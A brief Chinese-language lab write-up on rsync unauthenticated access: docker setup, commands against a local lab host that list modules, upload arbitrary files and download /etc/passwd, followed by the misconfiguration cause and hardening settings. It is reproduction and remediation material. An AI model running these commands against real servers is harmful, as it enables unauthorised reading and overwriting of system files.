0x00 简介
Rsync是一款数据备份工具,同步文件同时保持原来的文件权限、时间、软硬件链接等附加信息。同时支持rsync协议、ssh协议远程文件传输。rsync默认监听873端口,开启rsync服务没有配置ACL(访问控制列),访问密码,而rsync默认是root权限,我们就可以读写目标服务器文件
0x01 利用条件
0x02 环境搭建
使用docker搭建
docker-compose bulid
docker-compose up -d
查看开放端口
0x04漏洞复现
常规操作
列出模块下文件 rsync协议
rsync rsync://127.0.0.1/src
任意文件上传rsync rsync://127.0.0.1/src/home
ip是目标机ip
任意文件下载
`rsync -av rsync://127.0.0.1/src/etc/passwd ./
0x04 漏洞原因
rsync 默认配置文件为etc/rsyncd.conf,常驻模式启动命令rsync -daemon,启动默认监听TCP端口873,可以通过rsync-daemon以及ssh两种方式认证
查看配置文件
配置文件默认没有密码
0x05 漏洞探测
列出服务器下目录
0x06 修复建议
更改rsync默认配置文件etc/rsyncd.conf或者修改参数
访问控制:设置host allow,限制允许访问主机IP
权限控制:设置auth users,模块设置为只读
权限控制:设置read only,模块设置为只读
访问认证:设置auth、secrets,认证成功才能调用服务
模块隐藏;设置list,将模块隐藏